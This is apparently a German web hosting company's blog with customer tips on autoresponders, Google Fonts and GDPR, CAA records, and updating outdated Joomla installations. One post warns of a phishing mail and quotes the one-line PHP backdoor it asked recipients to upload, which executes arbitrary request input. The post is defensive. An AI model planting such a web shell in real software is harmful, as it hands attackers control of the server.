Kategorie: Tipps

Veröffentlicht am

Abwesenheitsnotiz mit Start- und Ablaufdatum einrichten

Ab sofort können Autoresponder, die in der E-Mail-Konfiguration unter https://my.variomedia.de/mail eingerichtet werden, auch mit einem Start- und Ablaufdatum versehen werden. Die automatische Antwort wird dann am jeweiligen Tag kurz nach Mitternacht deutscher Zeit aktiviert bzw. deaktiviert. Bisher ließ sich nur das Ablaufdatum einstellen; die Aktivierung musste sofort erfolgen.

Einrichtung eines Autoresponders mit Start- und Ablaufdatum in der E-Mail-Konfiguration
Einrichtung eines Autoresponders mit Start- und Ablaufdatum in der E-Mail-Konfiguration

Die Aktivierung des Autoresponders mit Start- und Ablaufdatum ist auch über unsere API möglich. Im Kundenmenü werden wir die Funktion zeitnah ergänzen.

Mit einer Abwesenheitsnotiz können Sie eingehende E-Mails automatisch mit einem Text Ihrer Wahl beantworten. Die Einrichtung ist sowohl für Postfächer als auch für E-Mail-Weiterleitungen möglich. Jeder Absender erhält die automatische Antwort nur einmal innerhalb eines Tages; verschickt jemand am gleichen Tag eine zweite E-Mail an Sie, wird keine weitere automatische Antwort verschickt.

Veröffentlicht am

Abmahnungen bei Verwendung von Google Fonts

Seit einigen Wochen berichten Betreiber:innen von Webseiten, dass sie Abmahnungen erhalten, die sich auf die Einbindung von Schriftarten von Google auf Webseiten beziehen. Einen zusammenfassenden Bericht über die Grundlage dieser Abmahnungen finden Sie unter anderem in einem Artikel in der Zeitschrift c’t: Angeblicher DSGVO-Verstoß: Abmahnwelle wegen Google Fonts.

Viele Webseiten verwenden z.B. ein WordPress-Theme mit Schriftarten, die von Google kostenfrei angeboten werden. Das Problem besteht nicht in der Verwendung dieser Schriften selbst, sondern darin, dass der Abruf von Servern von Google erfolgt und damit personenbezogene Daten (insb. die IP-Adresse der Besucher:innen) an Google in die USA übertragen werden. Dies ist – ohne explizite Zustimmung der Datenübertragung – rechtswidrig.

Google bietet die Schriften auch zum Download an und erlaubt es, sie lokal (z.B. auf unserem Webserver) zu installieren und so auf der Webseite einzubinden. Die Verwendung der Google-Schriftarten wird damit wieder rechtskonform.

Verschiedene Webseiten bieten Tools an, mit denen man die Verwendung von Google-Fonts auf der eigenen Webseite überprüfen kann; beispielhaft sei hier der Dienst von e-recht24.de genannt: Achtung Abmahnung: Prüfen Sie jetzt die Einbindung von Google Fonts.

Für WordPress gibt es inzwischen zahlreiche Plugins, die dazu dienen, direkte Verknüpfungen zu den Google-Schriftarten zu entfernen und diese stattdessen lokal einzubinden: https://wordpress.org/plugins/search/google+fonts/. Auch für andere Content-Management-Systeme gibt es fertige Lösungen. Bitte zögern Sie nicht, diese einzusetzen, um eine Abmahnung zu vermeiden.

Umgang mit einer Abmahnung

Sollten Sie bereits eine Abmahnung erhalten haben, enthält diese in der Regel eine oder mehrere dieser Forderungen:

  • Abgabe einer strafbewehrten Unterlassungs- und Verpflichtungserklärung
  • Auskunftserteilung über Datenverarbeitung
  • Zahlung von Schadensersatz
  • Zahlung von Rechtsverfolgungskosten

Wir können und möchten hier keine Rechtsberatung leisten, zumal eine Vielzahl verschiedener Abmahnungen im Umlauf ist. In einigen Fällen konnten Webseiten-Betreiber:innen anhand von Logdateien auch nachweisen, dass die Abrufe automatisiert erfolgten. Es macht auch einen Unterschied, ob die Abmahnung von einer Privatperson, einer Körperschaft oder einem Anwalt kommt.

Wir empfehlen jedoch in jedem Fall, die externe Einbindung von Google Fonts umgehend zu beenden und ggf. zum Beispiel mit einem Musterschreiben oder einem generierten Antwortschreiben (kostenlos) auf die Abmahnung zu reagieren.

Veröffentlicht am

Passwort-Reset für Endkunden von Resellern

Bereits seit einiger Zeit lässt sich in unseren Reseller-Verträgen in den Einstellungen konfigurieren, ob die eigenen Nutzer:innen für my.securehost.de einen Passwort-Reset durchführen dürfen.

Die eigentliche Passwort-Reset-Funktion fehlte allerdings bisher noch. Sie ist inzwischen unter https://my.securehost.de/ verlinkt und führt zur Seite https://my.securehost.de/reset-password:

Dialog für den Passwort-Reset unter https://my.securehost.de/reset-password

Mit dem Ausfüllen des Formulars wird – sofern vollständig und freigeschaltet – eine E-Mail von no-reply@securehost.de verschickt. Diese E-Mail enthält einen Link, der eine Stunde lang gültig ist. Durch das Anklicken des Links wird nach einer weiteren Bestätigungsabfrage ein neues Passwort für den Kundenmenüzugang gesetzt und angezeigt.

Muster einer E-Mail, wie Sie beim Passwort-Reset an Account-Inhaber:innen verschickt wird

Veröffentlicht am

Privat: Automatische HTTPS-Weiterleitung im Kundenmenü konfigurierbar

Falls Sie für Ihre Webseite ein SSL-Zertifikat (Let’s Encrypt, Comodo) gebucht haben, können Sie eine automatische Weiterleitung von unverschlüsselten HTTP- auf verschlüsselte HTTPS-Aufrufe nun auch einfach im Kundenmenü konfigurieren.

Öffnen Sie dazu im Kundenmenü die Seite “Hosting & Weiterleitungen” und klicken dann auf die gewünschte Domain, dort finden Sie unter “SSL” die neue Option “Umleitung auf HTTPS”. Alternativ können Sie eine solche Weiterleitung auch wie bisher per .htaccess-Konfigurationsdatei einrichten.

Diese Funktion steht für Domains mit Webspace sowie Frame-Weiterleitungen zur Verfügung. Bitte achten Sie im Falle von Frame-Weiterleitungen darauf, dass auch die eingebettete Webseite per HTTPS aufgerufen wird.

Veröffentlicht am

Was ändert sich durch die DSGVO?

Am Freitag, den 25.05.2018 tritt die neue EU-Datenschutzgrundverordnung (DSGVO / englisch: GDPR) in Kraft. Für Verbraucher bringt die DSGVO viel Gutes mit: Es gibt ein Recht auf Datenlöschung, ein Recht auf Widerspruch und ein Auskunftsrecht. Umfangreiche Informationspflichten sollen Transparenz bei der Datenverarbeitung sicherstellen. Das Prinzip der Datensparsamkeit steht künftig an oberster Stelle – nur Daten, die tatsächlich für die Erfüllung einer Aufgabe benötigt werden, dürfen erhoben, gespeichert und verarbeitet werden.

Leider bringen neue Gesetze oft auch eine Menge neuer Bürokratie mit sich. Besonders kleine Unternehmen und auch Privatpersonen mit eigenen Webseiten fühlen sich von den umfangreichen DSGVO-Regelungen überfordert. Wir möchten Ihnen in diesem Artikel einen kleinen Überblick darüber geben, was sich durch die DSGVO für die meisten unserer Kunden ändert und an welcher Stelle unsere Dienste mit der DSGVO in Berührung kommen. Der Artikel kann keine Rechtsberatung ersetzen und erhebt auch nicht den Anspruch, vollumfänglich über die DSGVO zu informieren – das ist angesichts der Fülle der Regeln kaum möglich.

Was muss ich als Betreiber einer Webseite beachten?

SSL-Zertifikate: Sobald Sie irgendeine Art von personenbezogenen Daten auf Ihrer Webseite erfassen – sei es über ein Kontaktformular, eine Newsletter-Anmeldung, einen Online-Shop oder sonstige Funktionen, bei denen ein Nutzer Ihnen gegenüber etwas Preis gibt, muss die jeweilige Webseite über ein SSL-Zertifikat (https://…) abgesichert werden. In vielen unserer Hosting-Pakete sind SSL-Zertifikate im Preis bereits enthalten; zusätzliche Zertifikate können ab 6,- Euro pro Jahr (Reseller: 3,- Euro pro Jahr) gebucht werden. Informationen zu den Unterschieden verschiedener Zertifikatstypen finden Sie auf unserer Webseite. Die Bestellung eines Zertifikats erfolgt formlos per E-Mail.

Datenschutzerklärung: Sie müssen in einer Datenschutzerklärung auf Ihrer Webseite angeben, wie Sie mit den Daten Ihrer Besucher umgehen. In erster Linie geht es dabei darum, welche Daten Sie (oder wir als Ihr Webhoster) von den Besuchern Ihrer Webseite speichern. Zur Erstellung einer DSGVO-konformen Datenschutzerklärung gibt es zahlreiche kostenlose und kostenpflichtige Generatoren im Internet; im Zweifelsfall konsultieren Sie bitte unbedingt einen Juristen. Bezüglich der von uns erstellten Logdateien ist wichtig, welche Daten wir serverseitig speichern. Bitte beachten Sie dazu folgende FAQ-Artikel: Wie lange werden die Logdateien aufbewahrt? und Wie sind die HTTP Access Logs aufgebaut?

Auftragsverarbeitungsvertrag: Als gewerblicher Betreiber einer Webseite sollten Sie mit uns einen Auftragsverarbeitungsvertrag abschließen. In diesem Vertrag ist geregelt, wie wir Ihre und die Daten Ihrer Kunden auf unseren Servern verarbeiten. Bestandteil des AV-Vertrags sind die “Technischen und organisatorischen Maßnahmen”, die wir anwenden, um Ihre Daten zu schützen. Der Abschluss eines AV-Vertrags mit uns ist hier unter Verwendung Ihrer persönlichen Zugangsdaten zum Kundenmenü möglich.

An dieser Stelle noch einmal der Hinweis: Diese Übersicht ist nicht vollständig. Je nach Branche und Art der Weise, wie Sie Daten erheben und verarbeiten, können und werden noch weitere Themen für Sie relevant sein, auf die wir hier nicht eingehen können.

Was ändert sich bei der Domainregistrierung?

Whois-Daten: Bei der Registrierung einer Domain wurden bisher bei den meisten Registrierungsstellen umfangreiche Daten des Domaininhabers, des administrativen Ansprechpartners und der technischen Kontakte abgefragt, darunter auch E-Mail-Adressen und Telefonnummern. Diese Daten wurden allerdings nicht nur bei den Registrierungsstellen gespeichert, sondern auch im öffentlichen Whois angezeigt. An beiden Punkten gibt es durch die DSGVO nun Änderungen. Einige Registrierungsstellen erfassen nur noch die Daten eines Domaininhabers; sowohl der administrative als auch der technische Kontakt entfällt bei diesen Top-Level-Domains (z.B. .de). Andere Registrierungsstellen erfassen weiterhin alle Daten, veröffentlichen im Whois aber nur noch einen kleinen Teil davon. Bei den meisten Top-Level-Domains wird im Falle einer Registrierung für eine Organisation der Name der Organisation und das Land, in dem die Organisation ihren Sitz hat, im Whois angezeigt. Bei Privatpersonen wird nur noch das Land des Inhabers angezeigt.

Vermittlung: Wie bisher kommt der Vertrag für eine Domainregistrierung zwischen dem Domaininhaber und der Registrierungsstelle zustande. Wir vermitteln diesen Vertrag und verwalten die Domains für Sie bei der Registrierungsstelle. Nach wie vor übermitteln wir Ihre Daten – je nach Top-Level-Domain – auch an Drittstaaten. Diese Übermittlung ist jedoch zwingende Voraussetzung dafür, die gewünschte Domain registrieren zu können.

Veröffentlicht am

Einrichtung von CAA-Records im Kundenmenü

Ab sofort lassen sich im DNS-Bereich des Kundenmenüs Einträge mit dem Typ “CAA” (Certification Authority Authorization) anlegen. Sie dienen der Überprüfung, ob eine bestimmte Zertifizierungsstelle (z.B. Comodo oder Let’s Encrypt) ein SSL-Zertifikat für die jeweilige Domain ausstellen darf. Die Prüfung wird seit September 2017 von allen Zertifizierungsstellen bei der Neuausstellung und Verlängerung von Zertifikaten durchgeführt.

Existieren für eine Domain keine CAA-Einträge, kann jede Zertifizierungsstelle ein Zertifikat für die Domain ausstellen. Wenn CAA-Einträge existieren, darf nur die angegebene Zertifizierungsstelle ein Zertifikat ausstellen. Auf diese Weise wird die missbräuchliche Ausstellung von Zertifikaten deutlich erschwert.

Mehr Informationen und Beispiele zur Nutzung von CAA-Records finden Sie unserem FAQ-Artikel: Was sind CAA-Einträge und wie funktionieren sie?

Veröffentlicht am

Probleme bei der Installation von Joomla

Aufgrund eines Programmierfehlers im Installer der aktuellen Joomla-Version 3.7.4 lässt sich diese nicht auf unseren Webservern installieren. Die Fortschrittsanzeige bei der Installation bleibt bei etwa 10% stehen, dann passiert nichts mehr.

Der Fehler ist den Joomla-Entwicklern bekannt und wird in der nächsten Joomla-Version behoben. Bitte nutzen Sie für eine Neuinstallation von Joomla bis dahin die Vorgängerversion 3.7.3 und nehmen dann ein Update auf die aktuelle Joomla-Version vor.

Update

Der Fehler wurde in der neuen Joomla Version 3.7.5 behoben.

Veröffentlicht am

Gefährlicher Spam an Inhaber von .ru-Domains

Wir erhielten heute von einem Kunden eine betrügerische Spam-Mail zur Prüfung, die momentan an Inhaber von .ru-Domains versendet wird. Diese stammt vorgeblich von der Registrierungsstelle RU-CENTER und enthält die Aufforderung, eine PHP-Datei mit folgendem Inhalt auf dem Webserver anzulegen:

<?php
 assert(stripslashes($_REQUEST[RUCENTER]));
 ?>

Dieser PHP-Befehl würde es Angreifern ermöglichen, beliebige PHP-Befehle auf dem Webserver auszuführen, so könnten beispielsweise Webseiten verändert oder Spam versendet werden.

Es gibt tatsächlich Dienste, bei denen es erforderlich ist, einen bestimmten Code auf die eigene Webseite einzufügen – zum Beispiel um bestimmte Funktionen zu ermöglichen oder die Inhaberschaft einer Domain zu validieren, z.B. die Google Webmaster Tools, Piwik und viele mehr. Sie bekommen eine entsprechende Nachricht aber nur dann, wenn Sie diesen Dienst explizit nutzen wollen und sich dort angemeldet haben. In der Regel versenden diese Dienste auch keine E-Mail, sondern der einzufügende Code wird Ihnen beim Anmeldeprozess angezeigt. Zudem handelt es sich in solchen Fällen auch nie um PHP-Befehle. Wenn Sie eine solche E-Mail unaufgefordert erhalten, handelt es sich fast immer um Spam.

Wir sind froh, dass der Kunde sich an uns gewandt hat und können nur alle Kunden ermuntern, im Zweifelsfall lieber nachzufragen.

Veröffentlicht am

Angriffe auf veraltete Joomla-Installationen

Seit Beginn dieses Jahres beobachten wir zahlreiche Angriffe auf veraltete Joomla-Installationen auf unseren Webservern. Betroffen sind alle Joomla-Installationen, die noch nicht den aktuellen Versionszweig 3.6 nutzen. Sämtliche dieser älteren Versionen werden nicht mehr von den Joomla-Entwicklern unterstützt und weisen diverse kritische Sicherheitsprobleme auf, die nicht mehr durch Updates behoben werden. Angreifer können so beispielsweise Ihre Webseiten mit JavaScript-Schadcode versehen oder in Ihrem Namen Spam versenden. Bisherige Angriffe auf ältere Joomla-Installationen wurden meistens durch unsere Webserver-Firewall abgewehrt, doch in den aktuellen Fällen ist es den Angreifern gelungen, unsere Schutzmaßnahmen zu überwinden und so die Sicherheitslücken in Joomla auszunutzen.

Leider ist eine Aktualisierung älterer Joomla-Installationen sehr Aufwändig, häufig treten dabei auch Probleme auf. Falls Ihre Joomla-Installation nach einem Update nicht mehr funktioniert, können sie ein Backup vom Webspace und der MySQL-Datenbank einspielen.

Joomla 1.0 und 1.5 aktualisieren

Ein Update der Versionen 1.0 und 1.5 auf 3.6 ist leider nicht so einfach möglich, da beim Schritt vom Version 1.5 auf 1.6 diverse nicht abwärtskompatible Änderungen an Joomla vorgenommen wurden, so lassen sich etwa bestehende Templates nicht mehr weiter nutzen. In diesem Fall ist eine aufwändige Migration der alten Daten in eine neue Joomla-Installation mithilfe von kostenpflichtigen Extensions erforderlich. Aufgrund der Vielzahl an möglichen Problemen bei der Migration empfiehlt es sich, einen spezialisierten Joomla-Dienstleister mit dem Update zu beauftragen. Aufgrund des hohen Aufwandes kann es in vielen Fällen sinnvoller sein, eine neue Webseite mit der aktuellen Joomla-Version oder einem anderen Content-Management-System wie WordPress aufzusetzen.

Falls Sie trotz der möglichen Probleme ein Update von Joomla 1.5 selbst vornehmen möchten, empfehlen wir, zunächst eine Neuinstallation von Joomla in Version 2.5 vorzunehmen, und die Daten aus der alten Joomla-Installation dann mittels der kostenlosen Extension redMigrator in die neue Installation zu importieren (der Zwischenschritt auf Joomla 2.5 ist notwendig, da die Extension unter neueren Joomla-Versionen nicht mehr funktioniert). Abschließend können Sie die neue Joomla-Installation dann wie oben beschrieben auf die aktuelle Version 3.6 aktualisieren.

Joomla 1.6 und neuer aktualisieren

Falls Sie Joomla in Version 1.6 nutzen, prüfen Sie zunächst, ob Ihre Joomla-Installation bereits auf die letzte Version 1.6.6 dieses Versionszweiges aktualisiert wurde. Falls nicht, laden Sie ein passendes Patch-Package herunter, entpacken es und kopieren die Inhalte dann per (S)FTP in das Joomla-Installationsverzeichnis auf Ihrem Webserver. Danach können Sie Joomla über das Backend wie im Folgenden beschrieben updaten:

Falls Sie Joomla Version 1.6.6 oder neuer nutzen, können Sie die Updates per Web-Browser über das Joomla-Backend vornehmen. Beachten Sie bitte, dass dabei unter Umständen Kompatibilitätsprobleme mit Templates und Zusatzkomponenten von Drittanbietern auftreten können, vor dem Update müssen daher alle nicht mit Joomla 3.6 kompatiblen Erweiterungen von Drittanbietern deinstalliert werden. Eine detaillierte Anleitung zum Update finden Sie hier. Das Update erfordert unter Umständen mehrere Zwischenschritte, bis die aktuelle Version 3.6 erreicht ist.

Aktuelle PHP-Version nutzen

Manche Sicherheitslücken in PHP-Anwendungen wie Joomla lassen sich nur im Zusammenspiel mit veralteten PHP-Versionen ausnutzen. Wir empfehlen daher, eine möglichst aktuelles PHP ab Version 5.6 einzusetzen. PHP-Versionen älter als 5.6 sollten nur bei Kompatibilitätsproblemen genutzt werden. Eine Anleitung zur Auswahl einer PHP-Version finden Sie hier.

Sicherheits-Hotfixes für alte Joomla-Versionen

Falls ein sofortiges Update Ihrer Joomla-Installation nicht möglich ist, sollten Sie wenigstens die von den Joomla-Entwicklern empfohlenen Sicherheits-Hotfixes installieren.

Installation der Hotfixes für Joomla 2.5

Prüfen Sie zunächst, ob Ihre Joomla-Installation bereits auf die letzte Joomla 2.5 Version 2.5.28 aktualisiert wurde. Falls nicht, melden Sie sich als Administrator im Joomla-Backend an und nehmen dort  unter “Joomla!-Aktualisierung” ein Update vor. Anschließend installieren sie die beiden Sicherheits-Hotfixes wie folgt:

Die Datei Joomla2.5.28-20161214PATCH.zip wird über den Joomla Extension Manager als Update-Paket installiert. Nach der Installation erfolgt automatisch ein Logout, es gibt keine weitere Rückmeldung, ob die Installation erfolgreich war.
Die Datei SessionHardening25v1.zip enthält aktualisierte Versionen der Dateien libraries/joomla/session/session.php und plugins/system/debug/debug.php. Entpacken Sie die ZIP-Datei auf Ihrem Rechner und übertragen Sie die entpackten Verzeichnisse dann per (S)FTP in die entsprechenden Verzeichnisse Ihrer Joomla-Installation auf dem Webserver.

Installation der Hotfixes für Joomla 1.5

Prüfen Sie zunächst, ob Ihre Joomla-Installation bereits auf die letzte Joomla 1.5 Version 1.5.26 aktualisiert wurde. Falls nicht, laden Sie ein passendes Patch-Package herunter, entpacken es und kopieren die Inhalte dann per (S)FTP in das Joomla-Installationsverzeichnis auf Ihrem Webserver. Anschließend installieren sie die beiden Sicherheits-Hotfixes wie folgt:

Die Datei UploadFix15v3.zip enthält aktualisierte Versionen der Dateien administrator/components/com_media/helpers/media.php und libraries/joomla/filesystem/file.php. Entpacken Sie die ZIP-Datei auf Ihrem Rechner und übertragen die entpackten Verzeichnisse dann per (S)FTP in das Hauptverzeichnis Ihrer Joomla-Installation auf dem Webserver.
Die Datei SessionFix15v2.zip enthält aktualisierte Versionen der Dateien libraries/joomla/session/session.php und plugins/system/debug/debug.php. Entpacken Sie die ZIP-Datei auf Ihrem Rechner und übertragen die entpackten Verzeichnisse dann per (S)FTP in das Hauptverzeichnis Ihrer Joomla-Installation auf dem Webserver.

Veröffentlicht am

PHP-Version im Kundenmenü einstellbar

Ab sofort können Sie die für Ihre Webseiten genutzte PHP-Version mit zwei Klicks über unser Kundenmenü einstellen. Sie finden die neue Option im Menüpunkt “PHP”, der sich unter den Einstellungen Ihres Hosting-Pakets befindet. Die Einstellung gilt für alle Domains in Ihrem Hosting-Paket, eine Auswahl unterschiedlicher PHP-Versionen für einzelne Domains eines Pakets ist momentan noch nicht möglich.

Die Auswahl der PHP-Version ist jetzt im Kundenmenü möglich.

Sie können die PHP-Version auch wie gehabt per .htaccess-Konfigurationsdatei auf dem Webserver festlegen, diese Einstellung überschreibt dabei die im Kundenmenü gewählte PHP-Version. Auf diese Weise können Sie weiterhin für verschiedene Domains/Verzeichnisse unterschiedliche PHP-Versionen nutzen.

Die aktuell für Ihre Webseite konfigurierte PHP-Version können Sie über den PHP-Befehl phpinfo() ermitteln. Laden Sie dazu einfach unser vorgefertigtes PHP-Script herunter, das Sie dann per (S)FTP im gewünschten Webspace-Verzeichnis ablegen und dort über Ihren Web-Browser aufrufen (z.B. http://meine-domain.de/info.php).